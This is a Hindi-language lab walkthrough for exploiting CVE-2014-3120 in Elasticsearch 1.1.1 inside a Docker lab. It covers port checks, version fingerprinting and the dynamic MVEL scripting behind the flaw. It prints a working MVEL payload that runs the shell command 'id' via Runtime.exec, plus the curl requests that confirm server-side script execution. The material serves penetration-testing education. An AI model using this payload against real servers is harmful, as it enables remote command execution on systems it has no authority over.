
चरण-दर-चरण प्रयोगशाला मार्गदर्शिका जो Elasticsearch 1.1.1 के विरुद्ध CVE-2014-3120 शोषण का प्रदर्शन करती है, जिसमें भेद्यता विश्लेषण, MVEL स्क्रिप्टिंग के माध्यम से RCE, और Docker वातावरण में पोस्ट-एक्सप्लॉइटेशन शामिल है।
वातावरण में क्या चल रहा है, इससे शुरुआत करते हैं। हम सभी सक्रिय कंटेनरों की सूची बनाते हैं:
docker ps

परिणाम: कंटेनर p1/lab10:latest चल रहा है, जो बाहरी रूप से 2 पोर्ट उजागर करता है:
| पोर्ट मैपिंग | प्रोटोकॉल |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (सत्यापन आवश्यक) |
0.0.0.0:9300 → 9300/tcp | अज्ञात |
प्रारंभिक अवलोकन: पोर्ट 9200 और 9300 को आमतौर पर Elasticsearch के डिफ़ॉल्ट पोर्ट के रूप में जाना जाता है। हालाँकि, हम केवल पोर्ट नंबरों के आधार पर निष्कर्ष नहीं निकाल सकते - कई अन्य सेवाएँ किसी भी पोर्ट से बाइंड हो सकती हैं।
⇒ हम यह सत्यापित करने के लिए सीधे प्रत्येक पोर्ट पर curl करते हैं कि वास्तव में कौन सी सेवा चल रही है।
curl -i http://192.168.3.137:9300/

प्रतिक्रिया विश्लेषण:
curl: (52) Empty reply from serverआकलन: सर्वर ने TCP कनेक्शन स्वीकार किया (कोई कनेक्शन अस्वीकार नहीं), लेकिन HTTP प्रोटोकॉल का उपयोग करके प्रतिक्रिया नहीं दी। यह पोर्ट 9300 पर Elasticsearch ट्रांसपोर्ट प्रोटोकॉल के व्यवहार से मेल खाता है - यह एक बाइनरी प्रोटोकॉल है जो क्लस्टर में नोड्स के बीच संचार के लिए उपयोग होता है, HTTP नहीं।
⇒ मानसिकता: पोर्ट 9300 एक बाइनरी प्रोटोकॉल उपयोग करता है → इसे सीधे curl/ब्राउज़र के माध्यम से एक्सप्लॉइट नहीं किया जा सकता। जाँच के लिए पोर्ट 9200 पर स्विच करें - HTTP REST API पोर्ट।
curl -i http://192.168.3.137:9200/

प्रतिक्रिया विश्लेषण:
| क्षेत्र | मान | अर्थ |
|---|---|---|
name | "Rage" | Elasticsearch नोड का नाम (यादृच्छिक Marvel चरित्र नाम - पुराने ES संस्करणों का डिफ़ॉल्ट व्यवहार) |
version.number | "1.1.1" | अत्यंत पुराना संस्करण - अप्रैल 2014 में जारी |
build_timestamp | "2014-04-16T14:27:12Z" | 2014 में निर्मित |
lucene_version | "4.7" | Lucene 4.7 - पुराना इंडेक्सिंग इंजन |
tagline | "You Know, for Search" | Elasticsearch की विशिष्ट हस्ताक्षर पंक्ति |
आक्रमण सतह आकलन:

⇒ मानसिकता: Elasticsearch 1.1.1 डिफ़ॉल्ट रूप से डायनेमिक स्क्रिप्टिंग सक्षम करता है - जिससे क्लाइंट सर्वर द्वारा निष्पादित करने के लिए खोज क्वेरी में स्क्रिप्ट (MVEL एक्सप्रेशन) भेज सकते हैं। सैंडबॉक्स या उचित सत्यापन के बिना, एक हमलावर सिस्टम कमांड निष्पादित करने के लिए एक दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट कर सकता है। अगला कदम: सत्यापित करें कि क्या डायनेमिक स्क्रिप्टिंग वास्तव में लक्ष्य पर सक्रिय है।
Elasticsearch एक स्क्रिप्टिंग सुविधा का समर्थन करता है - जो क्लाइंट्स को परिणाम संसाधित करते समय सर्वर द्वारा निष्पादित करने के लिए खोज अनुरोधों के भीतर स्क्रिप्ट (गणितीय या तार्किक अभिव्यक्तियाँ) भेजने की अनुमति देता है। Elasticsearch 1.x में, इस सुविधा के लिए डिफ़ॉल्ट इंजन MVEL (MVFLEX एक्सप्रेशन भाषा) है।
Elasticsearch 1.2 से पहले के संस्करणों में, डायनेमिक स्क्रिप्टिंग डिफ़ॉल्ट रूप से सक्षम है (script.disable_dynamic: false)। इसका मतलब है:
_search API में script_fields पैरामीटर के माध्यम से मनमानी स्क्रिप्ट भेज सकते हैंjava.lang.Runtime.getRuntime().exec() को इनवोक कर सकते हैंscript_fields कैसे काम करता हैजब script_fields के साथ एक खोज अनुरोध भेजा जाता है, Elasticsearch निम्नलिखित करेगा:
_search API के माध्यम से JSON अनुरोध प्राप्त करेगाscript_fields फ़ील्ड को पार्स करेगा → निष्पादित करने के लिए script ढूँढेगाJava में, सिस्टम कमांड निष्पादित करने का सबसे सामान्य तरीका है:
Runtime.getRuntime().exec("command");
MVEL, Java क्लासेस तक पूर्ण पहुँच वाली एक अभिव्यक्ति भाषा के रूप में, इसे सीधे इनवोक करने की अनुमति देता है:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
प्रत्येक भाग की व्याख्या:
| भाग | व्याख्या |
|---|---|
import java.io.* | Java IO क्लासेस आयात करें |
Runtime.getRuntime() | Java रनटाइम इंस्टेंस प्राप्त करें |
.exec("id") | शेल कमांड id निष्पादित करें |
.getInputStream() | प्रक्रिया की आउटपुट स्ट्रीम प्राप्त करें |
new Scanner(...).useDelimiter("\\A").next() | संपूर्ण आउटपुट को एक स्ट्रिंग के रूप में पढ़ें |
⇒ मानसिकता: Elasticsearch के साथ, RCE आउटपुट सीधे प्रतिक्रिया में लौटाया जाता है — इसे किसी फ़ाइल में रीडायरेक्ट करके वापस पढ़ने की आवश्यकता नहीं होती। यह एक्सप्लॉइट को साफ और सत्यापित करने में तेज़ बनाता है।
लक्ष्य की Elasticsearch 1.1.1 के रूप में पहचान करने के बाद, अगला कदम यह सत्यापित करना है कि क्या डायनेमिक स्क्रिप्टिंग वास्तव में सक्षम है।
CVE-2014-3120 इस तथ्य का शोषण करता है कि Elasticsearch क्लाइंट्स को _search अनुरोधों के भीतर स्क्रिप्ट भेजने की अनुमति देता है। यदि स्क्रिप्ट सर्वर द्वारा निष्पादित की जाती है, तो एक हमलावर हानिरहित अभिव्यक्ति को एक पेलोड से बदल सकता है जो सिस्टम कमांड निष्पादित करने के लिए Java रनटाइम को कॉल करता है।
पहले, हम एक परीक्षण दस्तावेज़ बनाते हैं ताकि यह सुनिश्चित हो सके कि क्वेरी के पास कम से कम एक मेल खाता परिणाम है। यदि कोई दस्तावेज़ मेल नहीं खाता, तो script_fields का मूल्यांकन नहीं किया जाएगा।
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
फिर इंडेक्स रिफ्रेश करें:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
इसके बाद, हम script_fields के साथ एक _search अनुरोध भेजते हैं जिसमें एक हानिरहित MVEL अभिव्यक्ति होती है:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

हम स्क्रिप्ट "1+1" भेजते हैं और सर्वर परिणाम 2 लौटाता है। यह साबित करता है कि Elasticsearch केवल _search अनुरोध प्राप्त नहीं करता, बल्कि सर्वर साइड पर डायनेमिक स्क्रिप्ट निष्पादित भी करता है।
⇒ डायनेमिक स्क्रिप्टिंग लक्ष्य पर सक्रिय है।